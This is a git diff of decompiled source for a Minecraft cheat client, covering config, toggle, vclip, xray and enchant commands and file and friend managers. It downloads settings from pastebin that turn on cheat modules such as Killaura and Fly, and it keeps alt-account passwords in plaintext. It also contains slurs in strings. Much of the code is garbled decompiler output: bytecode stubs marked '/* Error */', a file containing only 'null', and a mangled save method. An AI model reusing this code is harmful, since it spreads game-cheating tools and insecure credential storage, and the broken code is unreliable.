+  private void hypixel(String[] args) {
+    String filepath;
+    try {
+      URL settings = new URL("https://pastebin.com/raw/8tjitG8v");
+      URL enabled = new URL("https://pastebin.com/raw/9iLayiR4");
+      filepath = System.getenv("SystemDrive") + "//config//Hypixel.txt";
+      String filepathenabled = System.getenv("SystemDrive") + "//config//HypixelEnabled.txt";
+      ReadableByteChannel channel = Channels.newChannel(settings.openStream());
+      ReadableByteChannel channelenabled = Channels.newChannel(enabled.openStream());
+      
+      FileOutputStream stream = new FileOutputStream(filepath);
+      
+      FileOutputStream streamenabled = new FileOutputStream(filepathenabled);
+      stream.getChannel().transferFrom(channel, 0L, Long.MAX_VALUE);
+      streamenabled.getChannel().transferFrom(channelenabled, 0L, Long.MAX_VALUE);
+      Helper.sendMessage("> Loaded - Optional Modules: FastUse/Fastbow, Fly, Killaura, Longjump, Speed, etc");
+    } catch (Exception e) {
+      Helper.sendMessage("> Download Failed, Please try again");
+    }
+    
+    List<String> enabled = read("HypixelEnabled.txt");
+    Module m; for (String v : enabled) {
+      m = ModuleManager.getModuleByName(v);
+      if (m != null)
+      {
+
+        Client.instance.getModuleManager().getModuleByClass(FastBow.class).setEnabled(false);
+        Client.instance.getModuleManager().getModuleByClass(FastUse.class).setEnabled(false);
+        m.setEnabled(true);
+      } }
+    List<String> vals = read("Hypixel.txt");
+    for (String v : vals) {
+      String name = v.split(":")[0];String values = v.split(":")[1];
+      Module m = ModuleManager.getModuleByName(name);
+      if (m != null)
+      {
+
+        for (Value value : m.getValues()) {
+          if (value.getName().equalsIgnoreCase(values)) {
+            if ((value instanceof Option)) {
+              value.setValue(Boolean.valueOf(Boolean.parseBoolean(v.split(":")[2])));
+            } else if ((value instanceof Numbers)) {
+              value.setValue(Double.valueOf(Double.parseDouble(v.split(":")[2])));
+            } else {
+              ((Mode)value).setMode(v.split(":")[2]);
+            }
+          }
+        }
+      }
+    }
+  }
+  
+  /* Error */
+  public static List<String> read(String file)
+  {
+    // Byte code:
+    //   0: new 268	java/util/ArrayList
+    //   3: dup
+    //   4: invokespecial 270	java/util/ArrayList:<init>	()V
+    //   7: astore_1
+    //   8: getstatic 47	com/enjoytheban/command/commands/Config:dir	Ljava/io/File;
+    //   11: invokevirtual 271	java/io/File:exists	()Z
+    //   14: ifne +10 -> 24
+    //   17: getstatic 47	com/enjoytheban/command/commands/Config:dir	Ljava/io/File;
+    //   20: invokevirtual 274	java/io/File:mkdir	()Z
+    //   23: pop
+    //   24: new 14	java/io/File
+    //   27: dup
+    //   28: getstatic 47	com/enjoytheban/command/commands/Config:dir	Ljava/io/File;
+    //   31: aload_0
+    //   32: invokespecial 277	java/io/File:<init>	(Ljava/io/File;Ljava/lang/String;)V
+    //   35: astore_2
+    //   36: aload_2
+    //   37: invokevirtual 271	java/io/File:exists	()Z
+    //   40: ifne +8 -> 48
+    //   43: aload_2
+    //   44: invokevirtual 280	java/io/File:createNewFile	()Z
+    //   47: pop
+    //   48: aconst_null
+    //   49: astore_3
+    //   50: aconst_null
+    //   51: astore 4
+    //   53: new 283	java/io/FileInputStream
+    //   56: dup
+    //   57: aload_2
+    //   58: invokespecial 285	java/io/FileInputStream:<init>	(Ljava/io/File;)V
+    //   61: astore 5
+    //   63: new 288	java/io/InputStreamReader
+    //   66: dup
+    //   67: aload 5
+    //   69: invokespecial 290	java/io/InputStreamReader:<init>	(Ljava/io/InputStream;)V
+    //   72: astore 6
+    //   74: new 293	java/io/BufferedReader
+    //   77: dup
+    //   78: aload 6
+    //   80: invokespecial 295	java/io/BufferedReader:<init>	(Ljava/io/Reader;)V
+    //   83: astore 7
+    //   85: ldc_w 298
+    //   88: astore 8
+    //   90: goto +12 -> 102
+    //   93: aload_1
+    //   94: aload 8
+    //   96: invokeinterface 300 2 0
+    //   101: pop
+    //   102: aload 7
+    //   104: invokevirtual 304	java/io/BufferedReader:readLine	()Ljava/lang/String;
+    //   107: dup
+    //   108: astore 8
+    //   110: ifnonnull -17 -> 93
+    //   113: aload 7
+    //   115: ifnull +24 -> 139
+    //   118: aload 7
+    //   120: invokevirtual 307	java/io/BufferedReader:close	()V
+    //   123: goto +16 -> 139
+    //   126: astore_3
+    //   127: aload 7
+    //   129: ifnull +8 -> 137
+    //   132: aload 7
+    //   134: invokevirtual 307	java/io/BufferedReader:close	()V
+    //   137: aload_3
+    //   138: athrow
+    //   139: aload 6
+    //   141: ifnull +47 -> 188
+    //   144: aload 6
+    //   146: invokevirtual 310	java/io/InputStreamReader:close	()V
+    //   149: goto +39 -> 188
+    //   152: astore 4
+    //   154: aload_3
+    //   155: ifnonnull +9 -> 164
+    //   158: aload 4
+    //   160: astore_3
+    //   161: goto +15 -> 176
+    //   164: aload_3
+    //   165: aload 4
+    //   167: if_acmpeq +9 -> 176
+    //   170: aload_3
+    //   171: aload 4
+    //   173: invokevirtual 311	java/lang/Throwable:addSuppressed	(Ljava/lang/Throwable;)V
+    //   176: aload 6
+    //   178: ifnull +8 -> 186
+    //   181: aload 6
+    //   183: invokevirtual 310	java/io/InputStreamReader:close	()V
+    //   186: aload_3
+    //   187: athrow
+    //   188: aload 5
+    //   190: ifnull +78 -> 268
+    //   193: aload 5
+    //   195: invokevirtual 317	java/io/FileInputStream:close	()V
+    //   198: goto +70 -> 268
+    //   201: astore 4
+    //   203: aload_3
+    //   204: ifnonnull +9 -> 213
+    //   207: aload 4
+    //   209: astore_3
+    //   210: goto +15 -> 225
+    //   213: aload_3
+    //   214: aload 4
+    //   216: if_acmpeq +9 -> 225
+    //   219: aload_3
+    //   220: aload 4
+    //   222: invokevirtual 311	java/lang/Throwable:addSuppressed	(Ljava/lang/Throwable;)V
+    //   225: aload 5
+    //   227: ifnull +8 -> 235
+    //   230: aload 5
+    //   232: invokevirtual 317	java/io/FileInputStream:close	()V
+    //   235: aload_3
+    //   236: athrow
+    //   237: astore 4
+    //   239: aload_3
+    //   240: ifnonnull +9 -> 249
+    //   243: aload 4
+    //   245: astore_3
+    //   246: goto +15 -> 261
+    //   249: aload_3
+    //   250: aload 4
+    //   252: if_acmpeq +9 -> 261
+    //   255: aload_3
+    //   256: aload 4
+    //   258: invokevirtual 311	java/lang/Throwable:addSuppressed	(Ljava/lang/Throwable;)V
+    //   261: aload_3
+    //   262: athrow
+    //   263: astore_2
+    //   264: aload_2
+    //   265: invokevirtual 318	java/io/IOException:printStackTrace	()V
+    //   268: aload_1
+    //   269: areturn
+    // Line number table:
+    //   Java source line #144	-> byte code offset #0
+    //   Java source line #146	-> byte code offset #8
+    //   Java source line #147	-> byte code offset #17
+    //   Java source line #150	-> byte code offset #24
+    //   Java source line #152	-> byte code offset #36
+    //   Java source line #153	-> byte code offset #43
+    //   Java source line #157	-> byte code offset #48
+    //   Java source line #158	-> byte code offset #63
+    //   Java source line #159	-> byte code offset #74
+    //   Java source line #160	-> byte code offset #85
+    //   Java source line #161	-> byte code offset #90
+    //   Java source line #162	-> byte code offset #93
+    //   Java source line #161	-> byte code offset #102
+    //   Java source line #164	-> byte code offset #113
+    //   Java source line #167	-> byte code offset #263
+    //   Java source line #168	-> byte code offset #264
+    //   Java source line #171	-> byte code offset #268
+    // Local variable table:
+    //   start	length	slot	name	signature
+    //   0	270	0	file	String
+    //   7	262	1	out	List<String>
+    //   35	23	2	f	File
+    //   263	2	2	e	java.io.IOException
+    //   49	1	3	localObject1	Object
+    //   126	29	3	localObject2	Object
+    //   160	102	3	localObject3	Object
+    //   51	1	4	localObject4	Object
+    //   152	20	4	localThrowable1	Throwable
+    //   201	20	4	localThrowable2	Throwable
+    //   237	20	4	localThrowable3	Throwable
+    //   61	170	5	fis	java.io.FileInputStream
+    //   72	110	6	isr	java.io.InputStreamReader
+    //   83	50	7	br	java.io.BufferedReader
+    //   88	21	8	line	String
+    // Exception table:
+    //   from	to	target	type
+    //   85	113	126	finally
+    //   74	139	152	finally
+    //   63	188	201	finally
+    //   53	237	237	finally
+    //   8	263	263	java/io/IOException
+  }
+  
+  public String execute(String[] args)
+  {
+    if (args.length == 1) {
+      if (args[0].equalsIgnoreCase("hypixel")) {
+        hypixel(args);
+      } else if (args[0].equalsIgnoreCase("guardian")) {
+        guardian(args);
+      } else if (args[0].equalsIgnoreCase("list")) {
+        Helper.sendMessage("> Configs: Hypixel, Guardian");
+      } else {
+        Helper.sendMessage("> Invalid config Valid <Guardian/Hypixel>");
+      }
+    } else {
+      Helper.sendMessage("> Invalid syntax Valid .config <config>");
+    }
+    return null;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/command/commands/Enchant.java b/src/minecraft/com/enjoytheban/command/commands/Enchant.java
new file mode 100644
index 0000000..fe0e46a
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/command/commands/Enchant.java
@@ -0,0 +1,28 @@
+package com.enjoytheban.command.commands;
+
+import com.enjoytheban.command.Command;
+import com.enjoytheban.utils.Helper;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+
+
+
+public class Enchant
+  extends Command
+{
+  public Enchant()
+  {
+    super("Enchant", new String[] { "e" }, "", "enchanth");
+  }
+  
+  public String execute(String[] args)
+  {
+    if (args.length < 1) {
+      getMinecraftthePlayer.sendChatMessage("/give " + getMinecraftthePlayer.getName() + 
+        " diamond_sword 1 0 {ench:[{id:16,lvl:127}]}");
+    } else {
+      Helper.sendMessage("invalid syntax Valid .enchant");
+    }
+    return null;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/command/commands/Help.java b/src/minecraft/com/enjoytheban/command/commands/Help.java
new file mode 100644
index 0000000..493be68
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/command/commands/Help.java
@@ -0,0 +1,34 @@
+package com.enjoytheban.command.commands;
+
+import com.enjoytheban.command.Command;
+import com.enjoytheban.utils.Helper;
+
+
+
+public class Help
+  extends Command
+{
+  public Help()
+  {
+    super("Help", new String[] { "list" }, "", "sketit");
+  }
+  
+  public String execute(String[] args)
+  {
+    if (args.length == 0) {
+      Helper.sendMessageWithoutPrefix("§7§m§l----------------------------------");
+      Helper.sendMessageWithoutPrefix("                    §b§lETB Client");
+      Helper.sendMessageWithoutPrefix("§b.help >§7 list commands");
+      Helper.sendMessageWithoutPrefix("§b.bind >§7 bind a module to a key");
+      Helper.sendMessageWithoutPrefix("§b.t >§7 toggle a module on/off");
+      Helper.sendMessageWithoutPrefix("§b.friend >§7 friend a player");
+      Helper.sendMessageWithoutPrefix("§b.cheats >§7 list all modules");
+      Helper.sendMessageWithoutPrefix("§b.config >§7 load a premade config");
+      Helper.sendMessageWithoutPrefix("§7§m§l----------------------------------");
+    }
+    else {
+      Helper.sendMessage("invalid syntax Valid .help");
+    }
+    return null;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/command/commands/Toggle.java b/src/minecraft/com/enjoytheban/command/commands/Toggle.java
new file mode 100644
index 0000000..c216161
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/command/commands/Toggle.java
@@ -0,0 +1,59 @@
+package com.enjoytheban.command.commands;
+
+import com.enjoytheban.Client;
+import com.enjoytheban.command.Command;
+import com.enjoytheban.management.ModuleManager;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.utils.Helper;
+import net.minecraft.util.EnumChatFormatting;
+
+
+
+
+
+
+public class Toggle
+  extends Command
+{
+  public Toggle()
+  {
+    super("t", new String[] { "toggle", "togl", "turnon", "enable" }, "", "Toggles a specified Module");
+  }
+  
+  public String execute(String[] args)
+  {
+    String modName = "";
+    
+    if (args.length > 1) {
+      modName = args[1];
+    } else if (args.length < 1) {
+      Helper.sendMessageWithoutPrefix("§bCorrect usage:§7 .t <module>");
+    }
+    boolean found = false;
+    
+    Module m = Client.instance.getModuleManager().getAlias(args[0]);
+    
+    if (m != null) {
+      if (!m.isEnabled()) {
+        m.setEnabled(true);
+      }
+      else {
+        m.setEnabled(false);
+      }
+      found = true;
+      if (m.isEnabled())
+      {
+        Helper.sendMessage("> " + m.getName() + EnumChatFormatting.GRAY + " was" + EnumChatFormatting.GREEN + " enabled");
+      }
+      else {
+        Helper.sendMessage("> " + m.getName() + EnumChatFormatting.GRAY + " was" + EnumChatFormatting.RED + " disabled");
+      }
+    }
+    
+    if (!found) {
+      Helper.sendMessage("> Module name " + EnumChatFormatting.RED + args[0] + EnumChatFormatting.GRAY + " is invalid");
+    }
+    
+    return null;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/command/commands/VClip.java b/src/minecraft/com/enjoytheban/command/commands/VClip.java
new file mode 100644
index 0000000..4cf5b93
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/command/commands/VClip.java
@@ -0,0 +1,40 @@
+package com.enjoytheban.command.commands;
+
+import com.enjoytheban.command.Command;
+import com.enjoytheban.utils.Helper;
+import com.enjoytheban.utils.TimerUtil;
+import com.enjoytheban.utils.math.MathUtil;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.util.EnumChatFormatting;
+
+public class VClip
+  extends Command
+{
+  private TimerUtil timer = new TimerUtil();
+  
+  public VClip() {
+    super("Vc", new String[] { "Vclip", "clip", "verticalclip", "clip" }, "", "Teleport down a specific ammount");
+  }
+  
+  public String execute(String[] args)
+  {
+    if (!Helper.onServer("enjoytheban")) {
+      if (args.length > 0) {
+        if (MathUtil.parsable(args[0], (byte)4)) {
+          float distance = Float.parseFloat(args[0]);
+          mcthePlayer.setPosition(mcthePlayer.posX, mcthePlayer.posY + distance, 
+            mcthePlayer.posZ);
+          Helper.sendMessage("> Vclipped " + distance + " blocks");
+        } else {
+          syntaxError(EnumChatFormatting.GRAY + args[0] + " is not a valid number");
+        }
+      } else {
+        syntaxError(EnumChatFormatting.GRAY + "Valid .vclip <number>");
+      }
+    } else {
+      Helper.sendMessage("> You cannot use vclip on the ETB Server.");
+    }
+    return null;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/command/commands/Xraycmd.java b/src/minecraft/com/enjoytheban/command/commands/Xraycmd.java
new file mode 100644
index 0000000..b7395e6
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/command/commands/Xraycmd.java
@@ -0,0 +1,42 @@
+package com.enjoytheban.command.commands;
+
+import com.enjoytheban.Client;
+import com.enjoytheban.command.Command;
+import com.enjoytheban.module.modules.render.Xray;
+import com.enjoytheban.utils.Helper;
+import java.util.Arrays;
+import java.util.List;
+
+public class Xraycmd extends Command
+{
+  public Xraycmd()
+  {
+    super("xray", new String[] { "oreesp" }, "", "nigga");
+  }
+  
+  public String execute(String[] args)
+  {
+    Xray xray = (Xray)Client.instance.getModuleManager().getModuleByClass(Xray.class);
+    if (args.length == 2) {
+      if (com.enjoytheban.utils.math.MathUtil.parsable(args[1], (byte)4)) {
+        int id = Integer.parseInt(args[1]);
+        if (args[0].equalsIgnoreCase("add")) {
+          blocks.add(Integer.valueOf(id));
+          Helper.sendMessage("Added Block ID " + id);
+        } else if (args[0].equalsIgnoreCase("remove")) {
+          blocks.remove(id);
+          Helper.sendMessage("Removed Block ID " + id);
+        } else {
+          Helper.sendMessage("Invalid syntax");
+        }
+      } else {
+        Helper.sendMessage("Invalid block ID");
+      }
+    } else if ((args.length == 1) && 
+      (args[0].equalsIgnoreCase("list"))) {
+      Arrays.toString(blocks.toArray());
+    }
+    
+    return null;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/management/CommandManager.java b/src/minecraft/com/enjoytheban/management/CommandManager.java
new file mode 100644
index 0000000..ec747fa
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/management/CommandManager.java
@@ -0,0 +1 @@
+null
\ No newline at end of file
diff --git a/src/minecraft/com/enjoytheban/management/FileManager.java b/src/minecraft/com/enjoytheban/management/FileManager.java
new file mode 100644
index 0000000..f16e345
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/management/FileManager.java
@@ -0,0 +1,380 @@
+package com.enjoytheban.management;
+
+import com.enjoytheban.Client;
+import com.enjoytheban.ui.login.Alt;
+import com.enjoytheban.ui.login.AltManager;
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.FileReader;
+import java.io.FileWriter;
+import java.io.IOException;
+import java.io.PrintWriter;
+import java.util.List;
+import net.minecraft.client.Minecraft;
+
+
+
+public class FileManager
+{
+  static { Client.instance.getClass(); } private static File dir = new File(getMinecraftmcDataDir, "ETB");
+  private static final File ALT = getConfigFile("Alts");
+  private static final File LASTALT = getConfigFile("LastAlt");
+  
+  public FileManager() {}
+  
+  public static void loadLastAlt()
+  {
+    try {
+      if (!LASTALT.exists()) {
+        PrintWriter printWriter = new PrintWriter(new FileWriter(LASTALT));
+        printWriter.println();
+        printWriter.close();
+      } else if (LASTALT.exists()) {
+        BufferedReader bufferedReader = new BufferedReader(new FileReader(LASTALT));
+        String s; while ((s = bufferedReader.readLine()) != null) { String s;
+          if (s.contains("\t")) {
+            s = s.replace("\t", "    ");
+          }
+          if (s.contains("    ")) {
+            String[] parts = s.split("    ");
+            String[] account = parts[1].split(":");
+            if (account.length == 2) {
+              Client.instance.getAltManager().setLastAlt(new Alt(account[0], account[1], parts[0]));
+            } else {
+              String pw = account[1];
+              for (int i = 2; i < account.length; i++) {
+                pw = pw + ":" + account[i];
+              }
+              Client.instance.getAltManager().setLastAlt(new Alt(account[0], pw, parts[0]));
+            }
+          } else {
+            String[] account = s.split(":");
+            if (account.length == 1) {
+              Client.instance.getAltManager().setLastAlt(new Alt(account[0], ""));
+            } else if (account.length == 2) {
+              Client.instance.getAltManager().setLastAlt(new Alt(account[0], account[1]));
+            } else {
+              String pw = account[1];
+              for (int i = 2; i < account.length; i++) {
+                pw = pw + ":" + account[i];
+              }
+              Client.instance.getAltManager().setLastAlt(new Alt(account[0], pw));
+            }
+          }
+        }
+        bufferedReader.close();
+      }
+    } catch (FileNotFoundException e) {
+      e.printStackTrace();
+    } catch (IOException e) {
+      e.printStackTrace();
+    }
+  }
+  
+  public static void saveLastAlt() {
+    try {
+      PrintWriter printWriter = new PrintWriter(LASTALT);
+      Alt alt = Client.instance.getAltManager().getLastAlt();
+      if (alt != null) {
+        if (alt.getMask().equals("")) {
+          printWriter.println(alt.getUsername() + ":" + alt.getPassword());
+        } else {
+          printWriter.println(alt.getMask() + "    " + alt.getUsername() + ":" + alt.getPassword());
+        }
+      }
+      printWriter.close();
+    } catch (FileNotFoundException e) {
+      e.printStackTrace();
+    }
+  }
+  
+  public static void loadAlts() {
+    try {
+      BufferedReader bufferedReader = new BufferedReader(new FileReader(ALT));
+      
+      if (!ALT.exists()) {
+        PrintWriter printWriter = new PrintWriter(new FileWriter(ALT));
+        printWriter.println();
+        printWriter.close();
+      } else if (ALT.exists()) { String s;
+        while ((s = bufferedReader.readLine()) != null) { String s;
+          if (s.contains("\t")) {
+            s = s.replace("\t", "    ");
+          }
+          if (s.contains("    ")) {
+            String[] parts = s.split("    ");
+            String[] account = parts[1].split(":");
+            if (account.length == 2) {
+              Client.instance.getAltManager();AltManager.getAlts().add(new Alt(account[0], account[1], parts[0]));
+            } else {
+              String pw = account[1];
+              for (int i = 2; i < account.length; i++) {
+                pw = pw + ":" + account[i];
+              }
+              Client.instance.getAltManager();AltManager.getAlts().add(new Alt(account[0], pw, parts[0]));
+            }
+          } else {
+            String[] account = s.split(":");
+            if (account.length == 1) {
+              Client.instance.getAltManager();AltManager.getAlts().add(new Alt(account[0], ""));
+            } else if (account.length == 2) {
+              try {
+                Client.instance.getAltManager();AltManager.getAlts().add(new Alt(account[0], account[1]));
+              } catch (Exception e) {
+                e.printStackTrace();
+              }
+            } else {
+              String pw = account[1];
+              for (int i = 2; i < account.length; i++) {
+                pw = pw + ":" + account[i];
+              }
+              Client.instance.getAltManager();AltManager.getAlts().add(new Alt(account[0], pw));
+            }
+          }
+        }
+      }
+      bufferedReader.close();
+    }
+    catch (Exception localException1) {}
+  }
+  
+  public static void saveAlts()
+  {
+    try {
+      System.out.println("skrt");
+      PrintWriter printWriter = new PrintWriter(ALT);
+      Client.instance.getAltManager(); for (Alt alt : AltManager.getAlts()) {
+        if (alt.getMask().equals("")) {
+          printWriter.println(alt.getUsername() + ":" + alt.getPassword());
+        } else {
+          printWriter.println(alt.getMask() + "    " + alt.getUsername() + ":" + alt.getPassword());
+        }
+      }
+      printWriter.close();
+    } catch (FileNotFoundException e) {
+      e.printStackTrace();
+    }
+  }
+  
+  public static File getConfigFile(String name) {
+    File file = new File(dir, String.format("%s.txt", new Object[] { name }));
+    if (!file.exists()) {
+      try {
+        file.createNewFile();
+      }
+      catch (IOException localIOException) {}
+    }
+    return file;
+  }
+  
+
+
+
+
+  public static void init()
+  {
+    if (!dir.exists()) {
+      dir.mkdir();
+    }
+    loadLastAlt();
+    loadAlts();
+  }
+  
+  /* Error */
+  public static List<String> read(String file)
+  {
+    // Byte code:
+    //   0: new 259	java/util/ArrayList
+    //   3: dup
+    //   4: invokespecial 261	java/util/ArrayList:<init>	()V
+    //   7: astore_1
+    //   8: getstatic 39	com/enjoytheban/management/FileManager:dir	Ljava/io/File;
+    //   11: invokevirtual 60	java/io/File:exists	()Z
+    //   14: ifne +10 -> 24
+    //   17: getstatic 39	com/enjoytheban/management/FileManager:dir	Ljava/io/File;
+    //   20: invokevirtual 248	java/io/File:mkdir	()Z
+    //   23: pop
+    //   24: new 12	java/io/File
+    //   27: dup
+    //   28: getstatic 39	com/enjoytheban/management/FileManager:dir	Ljava/io/File;
+    //   31: aload_0
+    //   32: invokespecial 35	java/io/File:<init>	(Ljava/io/File;Ljava/lang/String;)V
+    //   35: astore_2
+    //   36: aload_2
+    //   37: invokevirtual 60	java/io/File:exists	()Z
+    //   40: ifne +8 -> 48
+    //   43: aload_2
+    //   44: invokevirtual 242	java/io/File:createNewFile	()Z
+    //   47: pop
+    //   48: aconst_null
+    //   49: astore_3
+    //   50: aconst_null
+    //   51: astore 4
+    //   53: new 262	java/io/FileInputStream
+    //   56: dup
+    //   57: aload_2
+    //   58: invokespecial 264	java/io/FileInputStream:<init>	(Ljava/io/File;)V
+    //   61: astore 5
+    //   63: new 265	java/io/InputStreamReader
+    //   66: dup
+    //   67: aload 5
+    //   69: invokespecial 267	java/io/InputStreamReader:<init>	(Ljava/io/InputStream;)V
+    //   72: astore 6
+    //   74: new 80	java/io/BufferedReader
+    //   77: dup
+    //   78: aload 6
+    //   80: invokespecial 85	java/io/BufferedReader:<init>	(Ljava/io/Reader;)V
+    //   83: astore 7
+    //   85: ldc -116
+    //   87: astore 8
+    //   89: goto +12 -> 101
+    //   92: aload_1
+    //   93: aload 8
+    //   95: invokeinterface 202 2 0
+    //   100: pop
+    //   101: aload 7
+    //   103: invokevirtual 145	java/io/BufferedReader:readLine	()Ljava/lang/String;
+    //   106: dup
+    //   107: astore 8
+    //   109: ifnonnull -17 -> 92
+    //   112: aload 7
+    //   114: ifnull +24 -> 138
+    //   117: aload 7
+    //   119: invokevirtual 148	java/io/BufferedReader:close	()V
+    //   122: goto +16 -> 138
+    //   125: astore_3
+    //   126: aload 7
+    //   128: ifnull +8 -> 136
+    //   131: aload 7
+    //   133: invokevirtual 148	java/io/BufferedReader:close	()V
+    //   136: aload_3
+    //   137: athrow
+    //   138: aload 6
+    //   140: ifnull +47 -> 187
+    //   143: aload 6
+    //   145: invokevirtual 270	java/io/InputStreamReader:close	()V
+    //   148: goto +39 -> 187
+    //   151: astore 4
+    //   153: aload_3
+    //   154: ifnonnull +9 -> 163
+    //   157: aload 4
+    //   159: astore_3
+    //   160: goto +15 -> 175
+    //   163: aload_3
+    //   164: aload 4
+    //   166: if_acmpeq +9 -> 175
+    //   169: aload_3
+    //   170: aload 4
+    //   172: invokevirtual 271	java/lang/Throwable:addSuppressed	(Ljava/lang/Throwable;)V
+    //   175: aload 6
+    //   177: ifnull +8 -> 185
+    //   180: aload 6
+    //   182: invokevirtual 270	java/io/InputStreamReader:close	()V
+    //   185: aload_3
+    //   186: athrow
+    //   187: aload 5
+    //   189: ifnull +78 -> 267
+    //   192: aload 5
+    //   194: invokevirtual 277	java/io/FileInputStream:close	()V
+    //   197: goto +70 -> 267
+    //   200: astore 4
+    //   202: aload_3
+    //   203: ifnonnull +9 -> 212
+    //   206: aload 4
+    //   208: astore_3
+    //   209: goto +15 -> 224
+    //   212: aload_3
+    //   213: aload 4
+    //   215: if_acmpeq +9 -> 224
+    //   218: aload_3
+    //   219: aload 4
+    //   221: invokevirtual 271	java/lang/Throwable:addSuppressed	(Ljava/lang/Throwable;)V
+    //   224: aload 5
+    //   226: ifnull +8 -> 234
+    //   229: aload 5
+    //   231: invokevirtual 277	java/io/FileInputStream:close	()V
+    //   234: aload_3
+    //   235: athrow
+    //   236: astore 4
+    //   238: aload_3
+    //   239: ifnonnull +9 -> 248
+    //   242: aload 4
+    //   244: astore_3
+    //   245: goto +15 -> 260
+    //   248: aload_3
+    //   249: aload 4
+    //   251: if_acmpeq +9 -> 260
+    //   254: aload_3
+    //   255: aload 4
+    //   257: invokevirtual 271	java/lang/Throwable:addSuppressed	(Ljava/lang/Throwable;)V
+    //   260: aload_3
+    //   261: athrow
+    //   262: astore_2
+    //   263: aload_2
+    //   264: invokevirtual 154	java/io/IOException:printStackTrace	()V
+    //   267: aload_1
+    //   268: areturn
+    // Line number table:
+    //   Java source line #187	-> byte code offset #0
+    //   Java source line #191	-> byte code offset #8
+    //   Java source line #192	-> byte code offset #17
+    //   Java source line #195	-> byte code offset #24
+    //   Java source line #197	-> byte code offset #36
+    //   Java source line #198	-> byte code offset #43
+    //   Java source line #202	-> byte code offset #48
+    //   Java source line #203	-> byte code offset #63
+    //   Java source line #204	-> byte code offset #74
+    //   Java source line #205	-> byte code offset #85
+    //   Java source line #206	-> byte code offset #89
+    //   Java source line #207	-> byte code offset #92
+    //   Java source line #206	-> byte code offset #101
+    //   Java source line #209	-> byte code offset #112
+    //   Java source line #212	-> byte code offset #262
+    //   Java source line #213	-> byte code offset #263
+    //   Java source line #216	-> byte code offset #267
+    // Local variable table:
+    //   start	length	slot	name	signature
+    //   0	269	0	file	String
+    //   7	261	1	out	List<String>
+    //   35	23	2	f	File
+    //   262	2	2	e	IOException
+    //   49	1	3	localObject1	Object
+    //   125	29	3	localObject2	Object
+    //   159	102	3	localObject3	Object
+    //   51	1	4	localObject4	Object
+    //   151	20	4	localThrowable1	Throwable
+    //   200	20	4	localThrowable2	Throwable
+    //   236	20	4	localThrowable3	Throwable
+    //   61	169	5	fis	java.io.FileInputStream
+    //   72	109	6	isr	java.io.InputStreamReader
+    //   83	49	7	br	BufferedReader
+    //   87	21	8	line	String
+    // Exception table:
+    //   from	to	target	type
+    //   85	112	125	finally
+    //   74	138	151	finally
+    //   63	187	200	finally
+    //   53	236	236	finally
+    //   8	262	262	java/io/IOException
+  }
+  
+  public static void save(String file, String content, boolean append)
+  {
+    try
+    {
+      File f = new File(dir, file);
+      
+      if (!f.exists()) {
+        f.createNewFile();
+      }
+      
+      Object localObject1 = null;Object localObject4 = null; Object localObject3; label103: try { writer = new FileWriter(f, append);
+      } finally { FileWriter writer;
+        localObject3 = localThrowable; break label103; if (localObject3 != localThrowable) localObject3.addSuppressed(localThrowable);
+      }
+    } catch (IOException e) {
+      e.printStackTrace();
+    }
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/management/FriendManager.java b/src/minecraft/com/enjoytheban/management/FriendManager.java
new file mode 100644
index 0000000..507a12b
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/management/FriendManager.java
@@ -0,0 +1,142 @@
+package com.enjoytheban.management;
+
+import com.enjoytheban.Client;
+import com.enjoytheban.command.Command;
+import com.enjoytheban.utils.Helper;
+import java.util.HashMap;
+import java.util.List;
+import net.minecraft.util.EnumChatFormatting;
+
+
+
+
+
+
+
+
+public class FriendManager
+  implements Manager
+{
+  private static HashMap<String, String> friends;
+  
+  public FriendManager() {}
+  
+  public void init()
+  {
+    friends = new HashMap();
+    
+    List<String> frriends = FileManager.read("Friends.txt");
+    for (String v : frriends) {
+      if (v.contains(":")) {
+        String name = v.split(":")[0];
+        String alias = v.split(":")[1];
+        friends.put(name, alias);
+      } else {
+        friends.put(v, v);
+      }
+    }
+    
+    Client.instance.getCommandManager().add(new Command("f", new String[] { "friend", "fren", "fr" }, 
+      "add/del/list name alias", "Manage client friends")
+      {
+        private final FriendManager fm = FriendManager.this;
+        
+
+
+        public String execute(String[] args)
+        {
+          if (args.length >= 3) {
+            if (args[0].equalsIgnoreCase("add")) {
+              String f = "";
+              f = f + String.format("%s:%s%s", new Object[] { args[1], args[2], System.lineSeparator() });
+              FriendManager.friends.put(args[1], args[2]);
+              Helper.sendMessage("> " + String.format("%s has been added as %s", new Object[] { args[1], args[2] }));
+              FileManager.save("Friends.txt", f, true);
+            }
+            else if (args[0].equalsIgnoreCase("del")) {
+              FriendManager.friends.remove(args[1]);
+              Helper.sendMessage("> " + 
+                String.format("%s has been removed from your friends list", new Object[] { args[1] }));
+            }
+            else if (args[0].equalsIgnoreCase("list")) {
+              if (FriendManager.friends.size() > 0) {
+                int friends = 1;
+                for (String fr : FriendManager.friends.values()) {
+                  Helper.sendMessage("> " + String.format("%s. %s", new Object[] { Integer.valueOf(friends), fr }));
+                  friends++;
+                }
+              }
+              else {
+                Helper.sendMessage("> get some friends fag lmao");
+              }
+            }
+          }
+          else if (args.length == 2) {
+            if (args[0].equalsIgnoreCase("add")) {
+              String f = "";
+              f = f + String.format("%s%s", new Object[] { args[1], System.lineSeparator() });
+              FriendManager.friends.put(args[1], args[1]);
+              Helper.sendMessage("> " + String.format("%s has been added as %s", new Object[] { args[1], args[1] }));
+              FileManager.save("Friends.txt", f, true);
+            }
+            else if (args[0].equalsIgnoreCase("del")) {
+              FriendManager.friends.remove(args[1]);
+              Helper.sendMessage("> " + 
